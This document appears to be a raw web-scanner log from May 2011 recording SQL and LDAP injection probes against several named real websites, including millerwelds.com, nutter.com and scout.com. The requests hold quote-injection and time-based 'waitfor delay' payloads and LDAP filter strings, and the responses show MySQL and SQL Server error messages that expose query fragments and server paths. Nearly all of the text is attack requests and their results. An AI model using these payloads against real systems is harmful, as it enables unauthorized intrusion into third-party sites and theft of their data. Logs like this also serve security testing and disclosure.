<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<
...[SNIP]...
</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''/financing/index.php''' at line 1)<br>
...[SNIP]...

GET /financing/index.php?1'=1 HTTP/1.1
Host: www.millerwelds.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=94003201.1303147760.1.1.utmcsr=PowerBlockTV|utmccn=toolsthatdrive|utmcmd=bannerad|utmcct=online; __qca=P0-154865017-1303147760079; evTracker=fc0c626fe6241db934df6d4f182a5f42; __unam=47bc96c-12f69aae8fb-5600ee4c-2; __utma=94003201.1070057693.1303147760.1303147760.1303147760.1; __utmv=94003201.|1=Internal%2520Campaign=powerline=1,2=Internal%2520Source=%2Fproducts%2Faccessories%2Finternational%2F=1,3=Internal%2520Medium=bannerad=1,4=Internal%2520Content=blackspace=1,; _chartbeat2=rr9pb9n2shhrzr4o

HTTP/1.1 200 OK
Server: Apache/2.2
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Date: Fri, 06 May 2011 19:15:50 GMT
Connection: Keep-Alive
Set-Cookie: X-Mapping-chcfmbmj=5B2E5297969312085019D619C67F4E55; path=/
Content-Length: 13812

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html><!-- InstanceBegin template="blank.dwt" codeOutsideHTMLIsLocked="false"
...[SNIP]...
</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1)<br>
...[SNIP]...

GET /financing/index.php?1''=1 HTTP/1.1
Host: www.millerwelds.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=94003201.1303147760.1.1.utmcsr=PowerBlockTV|utmccn=toolsthatdrive|utmcmd=bannerad|utmcct=online; __qca=P0-154865017-1303147760079; evTracker=fc0c626fe6241db934df6d4f182a5f42; __unam=47bc96c-12f69aae8fb-5600ee4c-2; __utma=94003201.1070057693.1303147760.1303147760.1303147760.1; __utmv=94003201.|1=Internal%2520Campaign=powerline=1,2=Internal%2520Source=%2Fproducts%2Faccessories%2Finternational%2F=1,3=Internal%2520Medium=bannerad=1,4=Internal%2520Content=blackspace=1,; _chartbeat2=rr9pb9n2shhrzr4o

HTTP/1.1 200 OK
Server: Apache/2.2
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Date: Fri, 06 May 2011 19:15:51 GMT
Connection: Keep-Alive
Set-Cookie: X-Mapping-chcfmbmj=B0FC82155C2EC3F1BBBD167B0997AEA7; path=/
Content-Length: 15555

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html><!-- InstanceBegin template="blank.dwt" codeOutsideHTMLIsLocked="false"
...[SNIP]...

GET /images'/footer-bootm-bg.jpg?9 HTTP/1.1
Host: www.millerwelds.com
Proxy-Connection: keep-alive
Referer: http://www.millerwelds.com/financing/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=94003201.1303147760.1.1.utmcsr=PowerBlockTV|utmccn=toolsthatdrive|utmcmd=bannerad|utmcct=online; __qca=P0-154865017-1303147760079; evTracker=fc0c626fe6241db934df6d4f182a5f42; __unam=47bc96c-12f69aae8fb-5600ee4c-2; __utma=94003201.1070057693.1303147760.1303147760.1303147760.1; __utmv=94003201.|1=Internal%2520Campaign=powerline=1,2=Internal%2520Source=%2Fproducts%2Faccessories%2Finternational%2F=1,3=Internal%2520Medium=bannerad=1,4=Internal%2520Content=blackspace=1,; _chartbeat2=rr9pb9n2shhrzr4o; X-Mapping-chcfmbmj=DCDAE73D9206DA2A75313B243EFAB6EC

HTTP/1.1 404 Not Found
Server: Apache/2.2
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Date: Fri, 06 May 2011 19:18:06 GMT
Connection: Keep-Alive
Content-Length: 27711

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<
...[SNIP]...
</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?9'' at line 1)<br>
...[SNIP]...

GET /images/footer-bootm-bg.jpg'?9 HTTP/1.1
Host: www.millerwelds.com
Proxy-Connection: keep-alive
Referer: http://www.millerwelds.com/financing/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=94003201.1303147760.1.1.utmcsr=PowerBlockTV|utmccn=toolsthatdrive|utmcmd=bannerad|utmcct=online; __qca=P0-154865017-1303147760079; evTracker=fc0c626fe6241db934df6d4f182a5f42; __unam=47bc96c-12f69aae8fb-5600ee4c-2; __utma=94003201.1070057693.1303147760.1303147760.1303147760.1; __utmv=94003201.|1=Internal%2520Campaign=powerline=1,2=Internal%2520Source=%2Fproducts%2Faccessories%2Finternational%2F=1,3=Internal%2520Medium=bannerad=1,4=Internal%2520Content=blackspace=1,; _chartbeat2=rr9pb9n2shhrzr4o; X-Mapping-chcfmbmj=DCDAE73D9206DA2A75313B243EFAB6EC

HTTP/1.1 404 Not Found
Server: Apache/2.2
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Date: Fri, 06 May 2011 19:18:30 GMT
Connection: Keep-Alive
Content-Length: 27710

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<
...[SNIP]...
</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?9'' at line 1)<br>
...[SNIP]...

GET /images'/footer-top-bg.jpg?2 HTTP/1.1
Host: www.millerwelds.com
Proxy-Connection: keep-alive
Referer: http://www.millerwelds.com/financing/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=94003201.1303147760.1.1.utmcsr=PowerBlockTV|utmccn=toolsthatdrive|utmcmd=bannerad|utmcct=online; __qca=P0-154865017-1303147760079; evTracker=fc0c626fe6241db934df6d4f182a5f42; __unam=47bc96c-12f69aae8fb-5600ee4c-2; __utma=94003201.1070057693.1303147760.1303147760.1303147760.1; __utmv=94003201.|1=Internal%2520Campaign=powerline=1,2=Internal%2520Source=%2Fproducts%2Faccessories%2Finternational%2F=1,3=Internal%2520Medium=bannerad=1,4=Internal%2520Content=blackspace=1,; _chartbeat2=rr9pb9n2shhrzr4o; X-Mapping-chcfmbmj=DCDAE73D9206DA2A75313B243EFAB6EC

HTTP/1.1 404 Not Found
Server: Apache/2.2
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Date: Fri, 06 May 2011 19:18:09 GMT
Connection: Keep-Alive
Content-Length: 27709

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<
...[SNIP]...
</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?2'' at line 1)<br>
...[SNIP]...

GET /images/footer-top-bg.jpg'?2 HTTP/1.1
Host: www.millerwelds.com
Proxy-Connection: keep-alive
Referer: http://www.millerwelds.com/financing/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=94003201.1303147760.1.1.utmcsr=PowerBlockTV|utmccn=toolsthatdrive|utmcmd=bannerad|utmcct=online; __qca=P0-154865017-1303147760079; evTracker=fc0c626fe6241db934df6d4f182a5f42; __unam=47bc96c-12f69aae8fb-5600ee4c-2; __utma=94003201.1070057693.1303147760.1303147760.1303147760.1; __utmv=94003201.|1=Internal%2520Campaign=powerline=1,2=Internal%2520Source=%2Fproducts%2Faccessories%2Finternational%2F=1,3=Internal%2520Medium=bannerad=1,4=Internal%2520Content=blackspace=1,; _chartbeat2=rr9pb9n2shhrzr4o; X-Mapping-chcfmbmj=DCDAE73D9206DA2A75313B243EFAB6EC

HTTP/1.1 404 Not Found
Server: Apache/2.2
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Date: Fri, 06 May 2011 19:18:34 GMT
Connection: Keep-Alive
Content-Length: 27708

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<
...[SNIP]...
</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?2'' at line 1)<br>
...[SNIP]...

GET /images'/header-background.jpg?3 HTTP/1.1
Host: www.millerwelds.com
Proxy-Connection: keep-alive
Referer: http://www.millerwelds.com/financing/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=94003201.1303147760.1.1.utmcsr=PowerBlockTV|utmccn=toolsthatdrive|utmcmd=bannerad|utmcct=online; __qca=P0-154865017-1303147760079; evTracker=fc0c626fe6241db934df6d4f182a5f42; __unam=47bc96c-12f69aae8fb-5600ee4c-2; __utma=94003201.1070057693.1303147760.1303147760.1303147760.1; __utmv=94003201.|1=Internal%2520Campaign=powerline=1,2=Internal%2520Source=%2Fproducts%2Faccessories%2Finternational%2F=1,3=Internal%2520Medium=bannerad=1,4=Internal%2520Content=blackspace=1,; _chartbeat2=rr9pb9n2shhrzr4o; X-Mapping-chcfmbmj=DCDAE73D9206DA2A75313B243EFAB6EC

HTTP/1.1 404 Not Found
Server: Apache/2.2
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Date: Fri, 06 May 2011 19:18:34 GMT
Connection: Keep-Alive
Content-Length: 27713

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<
...[SNIP]...
</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?3'' at line 1)<br>
...[SNIP]...

GET /images/header-background.jpg'?3 HTTP/1.1
Host: www.millerwelds.com
Proxy-Connection: keep-alive
Referer: http://www.millerwelds.com/financing/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=94003201.1303147760.1.1.utmcsr=PowerBlockTV|utmccn=toolsthatdrive|utmcmd=bannerad|utmcct=online; __qca=P0-154865017-1303147760079; evTracker=fc0c626fe6241db934df6d4f182a5f42; __unam=47bc96c-12f69aae8fb-5600ee4c-2; __utma=94003201.1070057693.1303147760.1303147760.1303147760.1; __utmv=94003201.|1=Internal%2520Campaign=powerline=1,2=Internal%2520Source=%2Fproducts%2Faccessories%2Finternational%2F=1,3=Internal%2520Medium=bannerad=1,4=Internal%2520Content=blackspace=1,; _chartbeat2=rr9pb9n2shhrzr4o; X-Mapping-chcfmbmj=DCDAE73D9206DA2A75313B243EFAB6EC

HTTP/1.1 404 Not Found
Server: Apache/2.2
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Date: Fri, 06 May 2011 19:18:58 GMT
Connection: Keep-Alive
Content-Length: 27712

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<
...[SNIP]...
</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?3'' at line 1)<br>
...[SNIP]...

GET /attorneys.php?AttorneyID=59' HTTP/1.1
Host: www.nutter.com
Proxy-Connection: keep-alive
Referer: http://www.nutter.com/attorneys.php?letter=G
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:15:26 GMT
Server: Apache/1.3.42 Ben-SSL/1.60 (Unix) PHP/4.4.9 with Suhosin-Patch
X-Powered-By: PHP/4.4.9
Content-Type: text/html
Content-Length: 9631

error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1 | 1064<BR>sql: SELECT FirstName,LastName,Mid
...[SNIP]...

GET /careers.php?CategoryID=22&CareerID=4'&subID=1 HTTP/1.1
Host: www.nutter.com
Proxy-Connection: keep-alive
Referer: http://www.nutter.com/careers.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:19:42 GMT
Server: Apache/1.3.42 Ben-SSL/1.60 (Unix) PHP/4.4.9 with Suhosin-Patch
X-Powered-By: PHP/4.4.9
Content-Type: text/html
Content-Length: 8510



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/2000/REC-xhtml1-20000126/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
<div id="mainContent">

error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' LIMIT 1' at line 1 | 1064<BR>
...[SNIP]...

GET /careers.php?CategoryID=22'&CareerID=4&subID=1 HTTP/1.1
Host: www.nutter.com
Proxy-Connection: keep-alive
Referer: http://www.nutter.com/careers.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:18:45 GMT
Server: Apache/1.3.42 Ben-SSL/1.60 (Unix) PHP/4.4.9 with Suhosin-Patch
X-Powered-By: PHP/4.4.9
Content-Type: text/html
Content-Length: 17285



error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1 | 1064<BR>sql: SELEC
...[SNIP]...

GET /2/a.z?cfg=2=1'waitfor%20delay'0%3a0%3a20'--&p=26&s=143 HTTP/1.1
Host: www.scout.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UnicaNIODID=Jwu5zEjpq0Q-W60ACS9; __utmz=202704078.1303516031.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/4; RefId=0; BrandId=0; SessionBrandId=0; __utma=202704078.454375544.1303509265.1303522301.1304728142.4; __utmc=202704078; __utmb=202704078.4.9.1304728228796

HTTP/1.1 200 OK
Cache-Control: public, s-maxage=600
Date: Fri, 06 May 2011 19:31:35 GMT
Content-Type: text/html; charset=utf-8
Expires: Fri, 06 May 2011 19:41:15 GMT
Server: Microsoft-IIS/6.0
Server: Scoutweb6
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-HTTPModule: Scout Media Excalibur v.0.0.0.12737
Vary: Accept-Encoding
Content-Length: 11936

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Sc
...[SNIP]...

POST /a.z?s=143&p=9&c=2waitfor%20delay'0%3a0%3a20'--&cid=1037787&nid=4811607&fhn=1 HTTP/1.1
Referer: http://www.scout.com/a.z?s=143&p=9&c=2&cid=1037787&nid=4811607&fhn=1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.scout.com
Cookie: RefId=0; BrandId=0; SessionBrandId=0
Accept-Encoding: gzip, deflate
Content-Length: 61

__VIEWSTATE=%2fwEPDwULLTEzNzQyNzE0MDlkZA%3d%3d&q=Search+Scout

HTTP/1.1 200 OK
Cache-Control: public, s-maxage=600
Date: Fri, 06 May 2011 20:00:39 GMT
Content-Type: text/html; charset=utf-8
Expires: Fri, 06 May 2011 20:10:19 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-HTTPModule: Scout Media Excalibur v.0.0.0.12737
Vary: Accept-Encoding
Content-Length: 27058

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<title>Scout.com: Football Recruiting</title>
<meta http-eq
...[SNIP]...

GET /a.z?s=143&p=9&c=2'&cid=1037787&nid=4811607&fhn=1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.scout.com
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive

HTTP/1.1 200 OK
Cache-Control: public, s-maxage=600
Date: Fri, 06 May 2011 20:00:17 GMT
Content-Type: text/html; charset=utf-8
Expires: Fri, 06 May 2011 20:10:17 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-HTTPModule: Scout Media Excalibur v.0.0.0.12737
X-Streamed: from 192.168.20.181 in 158 ms
Set-Cookie: RefId=0; domain=.scout.com; expires=Fri, 01-Jan-2038 08:00:00 GMT; path=/
Set-Cookie: BrandId=0; domain=.scout.com; expires=Fri, 01-Jan-2038 08:00:00 GMT; path=/
Set-Cookie: SessionBrandId=0; domain=.scout.com; path=/
Vary: Accept-Encoding
Content-Length: 27298

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 S
...[SNIP]...

POST /a.z?s=143&p=9&c=2&cid=1037787waitfor%20delay'0%3a0%3a20'--&nid=4811607&fhn=1 HTTP/1.1
Referer: http://www.scout.com/a.z?s=143&p=9&c=2&cid=1037787&nid=4811607&fhn=1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.scout.com
Cookie: RefId=0; BrandId=0; SessionBrandId=0
Accept-Encoding: gzip, deflate
Content-Length: 61

__VIEWSTATE=%2fwEPDwULLTEzNzQyNzE0MDlkZA%3d%3d&q=Search+Scout

HTTP/1.1 200 OK
Cache-Control: public, s-maxage=600
Date: Fri, 06 May 2011 20:02:23 GMT
Content-Type: text/html; charset=utf-8
Expires: Fri, 06 May 2011 20:12:02 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-HTTPModule: Scout Media Excalibur v.0.0.0.12737
Vary: Accept-Encoding
Content-Length: 27128

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<title>Scout.com: Zack Williams Profile</title>
<meta http
...[SNIP]...

GET /a.z?s=143&p=9&c=2&cid=1037787'&nid=4811607&fhn=1&sSeasonYears=4811607 HTTP/1.1
Referer: http://www.scout.com/a.z?s=143&p=9&c=2&cid=1037787&nid=4811607&fhn=1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.scout.com
Cookie: RefId=0; BrandId=0; SessionBrandId=0
Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK
Cache-Control: public, s-maxage=600
Date: Fri, 06 May 2011 20:01:21 GMT
Content-Type: text/html; charset=utf-8
Expires: Fri, 06 May 2011 20:11:21 GMT
Server: Microsoft-IIS/6.0
Server: Sodo
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-HTTPModule: Scout Media Excalibur v.0.0.0.12737
X-Streamed: from 192.168.20.181 in 151 ms
Vary: Accept-Encoding
Content-Length: 27936

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<title>Scout.com: Zack Williams Profile</title>
<meta http
...[SNIP]...
<!--
ERROR in function:    "DB_Commentary_GET()"
- Local date/time :    Friday, May 06, 2011 1:01:21 PM
- Source :        undefined
- Message :        undefined
- message :        Unclosed quotation mark after the character string ''.
- Number :        0
- Description :        undefined
- description :        Unclosed quotation mark after the character string ''.
- URL:        s=143&p=9&c=2&cid=1037787'&nid=48116
...[SNIP]...

GET /a.z?s=143&p=9&c=2&cid=1037787&nid=4811607'&fhn=1&sSeasonYears=4811607 HTTP/1.1
Referer: http://www.scout.com/a.z?s=143&p=9&c=2&cid=1037787&nid=4811607&fhn=1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.scout.com
Cookie: RefId=0; BrandId=0; SessionBrandId=0
Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK
Cache-Control: public, s-maxage=600
Date: Fri, 06 May 2011 20:02:21 GMT
Content-Type: text/html; charset=utf-8
Expires: Fri, 06 May 2011 20:12:21 GMT
Server: Microsoft-IIS/6.0
Server: Summit
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-HTTPModule: Scout Media Excalibur v.0.0.0.12737
X-Streamed: from 192.168.20.181 in 49 ms
Vary: Accept-Encoding
Content-Length: 13733

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//E
...[SNIP]...

POST /a.z?s=143&p=9&c=2&cid=1037787&nid=4811607waitfor%20delay'0%3a0%3a20'--&fhn=1 HTTP/1.1
Referer: http://www.scout.com/a.z?s=143&p=9&c=2&cid=1037787&nid=4811607&fhn=1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.scout.com
Cookie: RefId=0; BrandId=0; SessionBrandId=0
Accept-Encoding: gzip, deflate
Content-Length: 61

__VIEWSTATE=%2fwEPDwULLTEzNzQyNzE0MDlkZA%3d%3d&q=Search+Scout

HTTP/1.1 200 OK
Cache-Control: public, s-maxage=600
Date: Fri, 06 May 2011 20:04:04 GMT
Content-Type: text/html; charset=utf-8
Expires: Fri, 06 May 2011 20:13:44 GMT
Server: Microsoft-IIS/6.0
Server: Scoutweb9
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-HTTPModule: Scout Media Excalibur v.0.0.0.12737
Vary: Accept-Encoding
Content-Length: 13442

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<title>Scout.com: Zack Williams Profile</title>
<meta http
...[SNIP]...

GET /button/image/?b=1' HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
Referer: http://www.socialfollow.com/
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=131048717.1303137471.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=131048717.787483735.1303137471.1303137471.1304721456.2; __utmc=131048717; __utmb=131048717.2.10.1304721456

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 17:40:55 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Content-Length: 1288
Content-Type: text/html

<br />
<b>Warning</b>: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in <b>/var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php</b> on line <b>3</b><br />
<b
...[SNIP]...

GET /main/do/*)(sn=* HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://dominionenterprises.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1304725150345; s_lv=1304725150346; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:36:26 GMT
X-Powered-By: PHP/4.4.2
Set-Cookie: PHPSESSID=ec8318b7ec9c1aec4cccc43a2cfd61b4; expires=Sun, 08 May 2011 19:36:26 GMT; path=/
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:36:26 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Length: 0
Content-Type: text/html
Set-Cookie: TSa27990=3889173c8335cc2b8a01f99c2edb15b1b4d5d0d9198b18674dc443739c5eca85e1bf282b; Path=/

GET /main/do/*)!(sn=* HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
